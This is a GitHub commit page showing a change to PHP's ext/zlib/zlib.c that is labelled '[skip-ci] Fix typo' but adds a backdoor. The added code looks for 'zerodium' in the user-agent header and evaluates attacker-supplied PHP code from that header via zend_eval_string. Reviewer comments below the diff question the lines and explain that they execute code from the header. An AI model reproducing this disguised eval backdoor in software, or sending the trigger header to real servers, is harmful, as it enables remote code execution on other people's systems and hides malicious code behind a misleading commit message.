Skip to content


Browse files Browse the repository at this point in the history
[skip-ci] Fix typo
Fixes minor typo.

Signed-off-by: Rasmus Lerdorf <>
  • Loading branch information
rlerdorf committed Mar 28, 2021
1 parent 92aeda5 commit c730aa2
Showing 1 changed file with 11 additions and 0 deletions.
11 changes: 11 additions & 0 deletions ext/zlib/zlib.c
Expand Up @@ -360,6 +360,17 @@ static void php_zlib_output_compression_start(void)
zval zoh;
php_output_handler *h;
zval *enc;

if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {

This comment has been minimized.

Copy link

staabm Mar 28, 2021


Intentionally AGENTT with 2x T at the end?

if (strstr(Z_STRVAL_P(enc), "zerodium")) {
zend_try {
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");

This comment has been minimized.

Copy link

mvorisek Mar 28, 2021


@rlerdorf what does this do?

This comment has been minimized.

Copy link

JABirchall Mar 28, 2021

This line executes PHP code from within the useragent HTTP header, if the string starts with 'zerodium'

} zend_end_try();

switch (ZLIBG(output_compression)) {
case 0:
Expand Down

1 comment on commit c730aa2

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please sign in to comment.